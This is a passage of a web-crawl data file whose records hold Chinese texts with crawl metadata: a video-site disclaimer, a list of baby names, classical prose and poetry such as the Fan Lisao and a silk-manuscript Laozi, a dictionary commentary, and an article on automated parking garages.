鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E6%9B%B9%E6%80%9D%E8%A9%A9------------.html","date":"2020-10-23T11:52:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107881369.4\/warc\/CC-MAIN-20201023102435-20201023132435-00511.warc.gz","language":"lzh","language_score":0.7227091789,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7227091789245605, \"cmn_Hani_score\": 0.16280686855316162, \"nan_Hani_score\": 0.10318587720394135, \"yue_Hani_score\": 0.010643227957189083}","num_words":231,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.754,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n毛冲 毛鸿 毛钟润 毛鸿雁 毛志昂 毛钟达 毛钟瑞 毛钟扬 毛辰皓 毛昱钧 毛钰忻 毛雨睿 毛钰弦 毛钰昃 毛钰昀 毛钰雨 毛钰杼 毛钰昔 毛钰抒 毛佳贺 毛宝 毛德保 毛德宝 毛若竹 毛梓佩 毛瑞良 毛创 毛创新 毛钟鸣 毛钟朝 毛钟豪 毛钟鸿 毛奇钊 毛升钊 毛世钊 毛良钊 毛天钊 毛荣 毛钟海 毛钟天 毛钟和 毛钟光 毛钟胜 毛钟正 毛钟圣 毛芭惠 毛钟涛 毛钟旭 毛钟飞 毛钟会 毛钟云 毛镒 毛景钊 毛锶 毛锘 毛锒 毛锆 毛镧 毛钟祺 毛昌钊 毛琦钟 毛钟琦 毛琦钊 毛航清 毛铭燃 毛薪然 毛笑笑 毛奇 毛笔 毛鸿君 毛涵君 毛滢君 毛欣欣 毛文君 毛拉拉 毛雯君 毛登立 毛楠希 毛咏君 毛菲儿 毛蒙蒙 毛逸蒙 毛国铨 毛可乐 毛飞飞 毛飘飘 毛薪栋 毛黄 毛重 毛利 毛翊燃 毛馨馨 毛小小 毛绍铭 毛十一 毛多多 毛豆 毛豆豆 毛欢 毛凌钊 毛可进 毛含近 毛弈静 毛彤静 毛寂伟 毛欣静 毛含静 毛想静 毛可静 毛萧静 毛钰珍 毛钰甄 毛钰祯 毛瑜祯 毛玉祯 毛宇贞 毛润明 毛春姣 毛佳歆 毛文欣 毛芷欣 毛芷珊 毛建恒 毛嘉晟 毛东升 毛彦钦 毛敬彬 毛蔚铭 毛根立 毛珩宇 毛芷歆 毛海 毛海荣 毛辰昊 毛美云 毛信庆 毛永香 毛凯峰 毛凯锋 毛雨舟 毛云香 毛鹏翔 毛鹏举 毛以炳 毛艺蓓 毛寒筱 毛淑直 毛德山 毛继智 毛海煊 毛海喧 毛俊仁 毛人鲆 毛海璇 毛任平 毛日臻 毛淇 毛俊生 毛红心 毛伟岚 毛泽瑞 毛毛筱 毛豆芽 毛凌 毛丫头 毛林峰 毛奕然 毛宇祯 毛阿黑 毛二黑 毛小黑 毛卫华 毛定一 毛定坤 毛靖伟 毛润隆 毛乃宏 毛志东 毛语莺 毛语樱 毛语缨 毛春盛 毛雨缨 毛雨樱 毛译孜 毛雨莺 毛雨欣 毛海波 毛学清 毛红平 毛珊 毛源 毛汐尹 毛柯钦 毛敏昱 毛钟舒 毛钟树 毛钟书 毛海 毛潇 毛胤人 毛钟启 毛钟凌 毛礼 毛奕升 毛婉 毛誉达 毛瑜翔 毛育翔 毛靖齐 毛豫翔 毛誉翔 毛愈翔 毛誉漾 毛友东 毛昱翔 毛永珍 毛凤连 毛跃锦 毛闳 毛钟华 毛钟国 毛细兵 毛德林 毛基源 毛启森 毛茸茸 毛绒绒 毛小地 毛俪珊 毛俪姗 毛裎麟 毛丽虹 毛黎珍 毛镜宇 毛定福 毛裎酩 毛学锋 毛施雄 毛献女 毛永健 毛振辰 毛润滋 毛浚舟 毛海佳 毛佳佳 毛海龙 毛孝明 毛瑕磊 毛团阅 毛泓曦 毛怛瀚 毛烁殷 毛曦童 毛曦可 毛滢恩 毛滢海 毛希禄 毛孝灵 毛长智 毛嘉岳 毛力敏 毛桐超 毛庶直 毛长贵 毛余平 毛鸿翼 毛兆汐 毛思洋 毛诗洋 毛紫月 毛澄越 毛淑妮 毛凯汐 毛凯越 毛文涛 毛江涛 毛章涛 毛差毛 毛思雅 毛育强 毛秋江 毛志铭 毛圣清 毛培霖 毛爨东 毛侨东 毛继林 毛清塬 毛子世 毛岚巍 毛红庆 毛琦志 毛奇志 毛文辉 毛佩飞 毛姿父 毛姿予 毛虹月 毛虹尤","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/www.qmqm.net\/a\/show_4E6.aspx","date":"2020-11-27T08:42:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141191511.46\/warc\/CC-MAIN-20201127073750-20201127103750-00311.warc.gz","language":"lzh","language_score":0.8568229079,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.8568229079246521, \"wuu_Hani_score\": 0.05804523825645447, \"nan_Hani_score\": 0.03903757780790329, \"cmn_Hani_score\": 0.01627175882458687, \"yue_Hani_score\": 0.01319829374551773}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.856,"perplexity_score":500.0,"cluster_detection":1} +{"text":"魯人有公儀僭者、數本皆作潛砥節礪行。樂道好古。恬於榮利。不事諸侯。子思與之友。穆公因子思欲以為相。謂子思曰公儀子必輔寡人。參分魯國而與之一。子其言之。子思對曰如君之言。則公儀子愈所以不至也。君若饑渴待賢。納用其謀。雖蔬食水飲。伋亦願在下風。今徒以高官厚祿。釣餌君子。無信用之意。公儀子之智若魚鳥可也。不然。則彼將終身不躡乎君之庭矣。且臣不佞。又不任為君操竿下釣。以蕩守節之士也。\n閭邱溫見田氏將必危齊、欲以其邑叛而適魯、穆公聞之、謂子思曰、子能懷之、則寡人割邑如其邑以常宗、子思曰伋雖能之。義所不為也。公曰何、子思對曰、彼為人臣。君將敗。弗能扶而叛之。逆臣制國。弗能以其身死而逃之。此罪誅之人也。伋縱不能討。而又要利以召姦。非忍行也。\n穆公問子思曰、吾聞龍櫚氏子不孝、其行何如、對曰臣聞明君之為政。尊賢以崇德。舉善以勸民。則四方之內孰敢不化。若夫過行是細人所識。不治其本而問其過。臣不知所以也公曰善。\n穆公謂子思曰、子之書所記夫子之言、或者以謂子之辭、子思曰臣所記臣祖之言。或親聞之者。有聞之於人者。雖非正其辭。然猶不失其意焉。且君之所疑者何。公曰於事無非。子思曰無非所以得臣祖之意也。就如君言以為臣之辭。臣之辭無非。則亦所宜貴矣。事既不然。又何疑焉。 穆公謂子思曰、縣子言子之為善不欲人譽巳、信乎、子思對曰非臣之情也。臣之修善。欲人知之。知之而譽臣。是臣之為善有勸也。此所願而不可得者也。若臣之修善而人莫知。莫知則必毀臣。是臣之為善而受毀也。此臣所不願而不可避者也。若夫雞鳴為善。滋滋以至夜半。而曰不欲人之知。恐人之譽巳。臣以謂斯人也者。非虛則愚也。\n胡母豹魯人謂子思曰、子好大世莫能容子也、盍亦隨時乎、子思曰大非所病。所病不大也。凡所以求容於世為行道也。毀道以求容容何行焉。大不見容。命也。毀大而求容。罪也。吾弗改矣。\n子思居貧、其友有饋之粟者、受一車焉、或獻樽酒束修、子思弗為受也、或曰子取人粟而辭吾酒脯、是辭少而取多也、於義則無名、於介則不全、而子行之、何也、子思曰然。伋不幸而貧於財。至乃困乏。將恐絕先人之祀。夫以受粟為周乏也。酒脯則所以飲宴也。方乏於食而乃飲宴。非義也。吾豈以為介哉。度義而行也。或者擔其酒脯以歸。\n穆公問子思曰、吾國可興乎、子思曰可。公曰為之奈何、對曰茍君與大夫慕周公伯禽之治。行其政化。開公家之惠。杜私門之利。結恩百姓。修禮鄰國。其興也勃矣。 子思曰吾之富貴甚易而由不能。夫不取於人謂之富。不辱於人謂之貴。不取不辱。其於富貴庶矣哉。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/m2.guoxuedashi.com\/a\/384a\/11615e.html","date":"2021-01-23T21:02:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703538431.77\/warc\/CC-MAIN-20210123191721-20210123221721-00196.warc.gz","language":"lzh","language_score":0.7585349679,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.7585349678993225, \"cmn_Hani_score\": 0.12110070139169693, \"nan_Hani_score\": 0.04064711183309555, \"jpn_Jpan_score\": 0.03769008442759514, \"wuu_Hani_score\": 0.012309820391237736}","num_words":9,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.759,"perplexity_score":500.0,"cluster_detection":1} +{"text":"反離騷\n〈雄怪屈原文過相如,至不容,作離騷,自投江而死,悲其文,讀之未嘗不流涕也。以為君子得時則大行,不得時則龍蛇,遇不遇,命也,何必湛身哉?乃作書,往往摭離騷文而反之,自㟭山投諸江流,以弔屈原,名曰騷。又旁離騷作重一篇,名曰廣騷。又旁惜誦以下至懷沙一卷,名曰畔牢愁。畔牢愁廣騷文多不載,獨載反離騷。其辭曰:〉\n有周氏之蟬嫣兮,或鼻祖於汾隅。靈宗初諜伯僑兮,流于末之揚侯。淑周楚之豐烈兮,超旣離虖皇波。因江潭而𣶂記兮,欽弔楚之湘纍。惟天軌之不辟兮,何純絜而離紛?紛纍以其淟涊兮,暗纍以其繽紛。\n漢十世之陽朔兮,招搖紀于周正。正皇天之清則兮,度后土之方貞。圖纍承彼洪族兮,又覽纍之昌辭。帶鉤矩而佩衡兮,履欃槍以為綦。素初貯厥麗服兮,何文肆而質䪥!資娵娃之珍髢兮,鬻九戎而索賴。鳳皇翔於蓬陼兮,豈鴐鵞之能捷?騁驊騮以曲囏兮,驢騾連蹇而齊足。枳棘之榛榛兮,蝯貁擬而不敢下。靈修旣信椒蘭之唼佞兮,吾纍忽焉而不蚤睹?\n衿芰茄之綠衣兮,被夫容之朱裳。芳酷烈而莫聞兮,固不如襞而幽之離房。閨中容競淖約兮,相態以麗佳。知衆嫭之嫉妒兮,何必颺纍之䖸睂?\n懿神龍之淵潛,竢慶雲而將舉。亡春風之被離兮,孰焉知龍之所處?愍吾纍之衆芬兮,颺爗爗之芳苓。遭季夏之凝霜兮,慶夭芬而喪榮。\n橫江湘以南𣶂兮,云走乎彼蒼吾。馳江潭之汎溢兮,將折衷虖重華。舒中情之煩或兮,恐重華之不纍與。陵陽侯之素波兮,豈吾纍之獨見許?\n精瓊靡與秋菊兮,將以延夫天年。臨汨羅而自隕兮,恐日薄於西山。解扶桑之總轡兮,縱令之遂奔馳。鸞皇騰而不屬兮,豈獨飛廉與雲師?\n卷薜芷與若蕙兮,臨湘淵而投之;棍申椒與菌桂兮,赴江湖而漚之。費椒稰以要神兮,又勤索彼瓊茅,違靈氛而不從兮,反湛身於江皋。\n纍旣攀夫傅說兮,奚不信而遂行?徒恐鷤䳏之將鳴兮,顧先百草為不芳。\n初纍棄彼虙妃兮,更思瑤臺之逸女。抨雄鴆以作媒兮,何百離而曾不壹耦。乘雲蜺之旖柅兮,望昆侖以樛流。覽四荒而顧懷兮,奚必云女彼高丘?\n旣亡鸞車之幽藹兮,焉駕八龍之委蛇?臨江瀕而掩涕兮,何有九招與九歌?\n夫聖哲之不遭兮,固時命之所有。雖增欷以於邑兮,吾恐靈修之不纍改。昔仲尼之去魯兮,婓婓遲遲而周邁。終回復於舊都兮,何必湘淵與濤瀨!溷漁父之餔歠兮,絜沐浴之振衣。棄由聃之所珍兮,蹠彭咸之所遺!\n|此西漢作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%8F%8D%E9%9B%A2%E9%A8%B7","date":"2021-04-17T20:42:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038464045.54\/warc\/CC-MAIN-20210417192821-20210417222821-00232.warc.gz","language":"lzh","language_score":0.4621782303,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.46217823028564453, \"nan_Hani_score\": 0.160716250538826, \"cmn_Hani_score\": 0.1322212666273117, \"und_Tang_score\": 0.027221307158470154, \"zxx_Latn_score\": 0.025013616308569908, \"yue_Hani_score\": 0.01835249736905098, \"jpn_Jpan_score\": 0.01828267239034176, \"und_Xsux_score\": 0.01800096035003662, \"und_Hluw_score\": 0.01011577807366848}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.308,"perplexity_score":500.0,"cluster_detection":1} +{"text":"吊樂毅文\n許縱自燕來,曰:燕之南有墓焉,其誌曰「樂生之墓」。余聞而哀之。其返也,與之文,使吊焉。\n大廈之騫兮,風雨萃之。車亡其軸兮,乘者棄之。嗚呼夫子兮,不幸類之。尚何為哉?昭不可留兮,道不可常。畏死疾走兮,狂顧徬徨。燕復為齊兮,東海洋洋。嗟夫子之專直兮,不慮後而為防。胡去規而就矩兮,卒陷滯以流亡。惜功美之不就兮,俾愚昧之周章。豈夫子之不能兮,無亦惡是之遑遑。仁夫對趙之悃款兮,誠不忍其故邦。君子之容與兮,彌億載而愈光。諒遭時之不然兮,匪謀慮之不長。跽陳辭以隕涕兮,仰視天之茫茫。苟偷世之謂何兮,言余心之不臧。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E5%90%8A%E6%A8%82%E6%AF%85%E6%96%87","date":"2021-09-26T16:55:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057882.56\/warc\/CC-MAIN-20210926144658-20210926174658-00350.warc.gz","language":"lzh","language_score":0.7648053765,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7648053765296936, \"cmn_Hani_score\": 0.12352697551250458, \"nan_Hani_score\": 0.06177416443824768}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.573,"perplexity_score":500.0,"cluster_detection":1} +{"text":"隨著城市汽車保有量的不斷增加,停車難問題己經成為大中型城市的一個普遍現象。機械式立體車庫可充分利用上地資源,發揮空間優勢,極大限度地停放車輛,成為解決城市靜態交通問題的重要途徑。因此請跟隨筆者一起了解下什么是立體車庫以及它的技能。\n1、立體車庫的結構形式:\n自動化立體車庫是一個復雜的綜合自動化系統,按建筑形式可分為整體式和分離式兩種\n2、整體式:是指車位除了能存放車輛以外,還能作為建筑物的支撐結構,其撐重結構就是建筑物的一部分。即整體車庫房與車位架形成一體化結構,因此結構形式簡單,拆裝方便。是我公司選生產形式。\n3、分離式:是指存放車位的結構獨立存在,建遮在建筑物內部,或是在符合條件現有的建筑物內改造成為自動化立體車庫,其車位的整體撐重是靠建筑物柱腳撐重。也可將車位拆除,使建筑物用于其他目的。\n二、立體車庫的管理形式\n1、有人管理:適用于公共停車場站,微機控制,專人操作,存車出票號。憑票號取車。\n2、無人管理:適用于個住宅小區或機關,車位是專用車位,車位號是專用的,將車位號輸入磁卡中,存取時只需要將卡插入讀卡口中,按\"存\"或\"取\"按鍵即可。整個存取程序自動完成。\n三、立體車庫具備怎樣的技能\n自動化立體車庫作為一種特定的起重和存取相結合的形式,是機械和電氣,是強電控制和弱電控制以及傳感系統相結合的產品,它主要有車輛的存取系統,傳送系統,控制和管理三大系統組成,還有與之相關配套的機械系統供電系統消防報警系統,信息通信系統,安全保障系統。\n為了保證車輛傳送平臺運行的\"快、穩、準\"其驅動系統采用\"變頻閉環矢量調速控制\"技術。同樣為實現絕對認址,采用\"激光測距定位\"技術,二者結合,使車輛傳送平臺實現絕對認址無級調速,零速停車,平臺的起步加速和減速停車就會更加\"快、穩、準\"。\n無論高層車庫的結構形式如何變化,作為\"垂直升降,平移存取\"就必須能夠實現以上目的,唯有能夠實現以上目的才能稱為是自動化立體車庫。\n聲明: 本網站所發布文章,部分信息來自于互聯網,如有侵權,請聯系刪除(QQ:382666579)\n重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.sindiro.com\/xinwen\/wenti\/103.html","date":"2023-03-24T15:09:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945287.43\/warc\/CC-MAIN-20230324144746-20230324174746-00321.warc.gz","language":"lzh","language_score":0.4345661402,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4345661401748657, \"cmn_Hani_score\": 0.41284656524658203, \"nan_Hani_score\": 0.14231020212173462}","num_words":711,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":500.0,"cluster_detection":1} +{"text":"㒳各本作兩。今正。車㒳輢謂之輒。按車必有㒳輢。如人必有㒳耳。故从耴。耴、耳垂也。此篆在輢篆之先。故輢篆下但云車旁、而不言㒳。凡許全書之例。皆以難曉之篆先於易知之篆。如輯下云車輿也。而後出輿篆。輒下云車㒳輢也。而後出輢篆。是也。廣韵作車相倚也。乃字之誤。不可從。凡專輒用此字者、此引申之義。凡人有所倚恃而妄爲之。如人在輿之倚於輢也。\n陟葉切。八部。","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.shuowen.org\/view\/9488?pinyin=zhe","date":"2023-05-29T18:34:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00460.warc.gz","language":"lzh","language_score":0.4363473058,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4363473057746887, \"cmn_Hani_score\": 0.3733547031879425, \"jpn_Jpan_score\": 0.0829726904630661, \"wuu_Hani_score\": 0.03381714969873428, \"und_Sgnw_score\": 0.013585343025624752, \"zxx_Latn_score\": 0.01057892944663763}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":1} +{"text":"蓋明德者,人之所得乎天,即天命之謂性也。\n知其明德,充其明德 者,率性之謂道也。\n在親民者,修道之謂教也。\n蓋有教無道,則天人路迷而難成,\n有道無教則師生道絕而無繼。\nPowered by Firstory Hosting","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/podcast.kkbox.com\/tw\/episode\/CpWAQXAxy6y92nZwzQ","date":"2023-09-21T13:18:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00483.warc.gz","language":"lzh","language_score":0.4850518107,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.48505181074142456, \"cmn_Hani_score\": 0.46022218465805054, \"wuu_Hani_score\": 0.03414930775761604, \"jpn_Jpan_score\": 0.013617395423352718}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.456,"perplexity_score":500.0,"cluster_detection":1} +{"text":"帛書老子。一套三本(含雕版宋體、雕版漢隸、解說本)。爲尊重作者。僅将雕版宋體免费分享。\n每日更新内容在评论区 请爬楼查阅\n上德不德 。是㕥有德。下德不失德 。是㕥无德。上德无爲而无㕥爲也。上仁爲之而无㕥爲也。上義爲之而有㕥爲也。上禮爲之而莫之應也。则攘臂而乃之。故失道而后德。失德而后仁。失仁而后義。失義而后禮。夫禮者。忠信之泊也。而亂之首也。前識者。道之華也。而愚之首也。是㕥大丈夫居亓厚而不居亓泊。居亓實而不居亓華。故厺皮取此。\n昔之得一者。天得一㕥清。地得一㕥寧。神得一㕥霝。浴得一㕥盈。矦王得一㕥爲正。亓致之也:胃天毋已清将恐裂。胃地毋已寧将恐發。胃神毋已霝将恐歇。胃浴毋已盈将恐渴。胃矦王毋已贵㕥高将恐欮。故必贵而㕥賤爲本。必高矣而㕥下爲坖。夫是㕥矦王自胃孤寡不穀。此亓㕥賤之本舆。非也。故致數舆无舆。是故不欲禄禄若玉。珞珞若石。\n上士聞道。堇能行之。中士聞道。若存若亾。下士聞道。大笑之。弗笑不足㕥爲道。是㕥建言有之曰。明道如费。進道如退。夷道如類。上德如浴。大白如辱。廣德如不足。建德如媮。質真如渝。大方无隅。大器免成。大音希聲。大象无刑。道褒无名。夫唯道。善始且善成。\n反也者。道之勭也。弱也者。道之用也。天下之物生於有。有生於无。\n道生一。一生二。二生三。三生萬物。萬物負陰而抱陽。中氣㕥爲和。天下之所惡。唯孤寡不穀。而王公㕥自名也。勿或損之而益。或益之而損。故人之所教。夕義而教人。故强良者不得亓死。我将㕥爲學父。\n天下之至柔。馳騁乎天下之至堅。无有入於无間。吾是㕥知无爲之有益也。不言之教。无爲之益。天下希能及之矣。\n名舆身孰親。身舆貨孰多。得舆亾孰病。甚愛必大费。多藏必厚亾。故知足不辱。知止不殆。可㕥長乆。\n大成若缺。其用不幣。大盈若沖。其用不窘。大直如詘。大巧如拙。大赢如㶧。趮勝寒。靚勝炅。請靚可㕥爲天下正。\n天下有道。卻走馬㕥糞。天下无道。戎馬生於郊。罪莫大於可欲。旤莫大於不知足。咎莫憯於欲得。故知足之足。恆足矣。\n不出於户。㕥知天下。不窥於牖。㕥知天道。亓出也彌遠。亓知彌少。是㕥聖人不行而知。不見而名。弗爲而成。\n爲學者日益。聞道者日損。損之又損。㕥至於无爲。无爲而无不爲。将欲取天下也。恆无事。及亓有事也。又不足㕥取天下矣。\n聖人恆无心。㕥百姓之心爲心。善者善之。不善者亦善之。德善也。信者信之。不信者亦信之。德信也。聖人之在天下。歙歙焉。爲天下渾心。百姓皆屬耳目焉。聖人皆咳之。\n出生 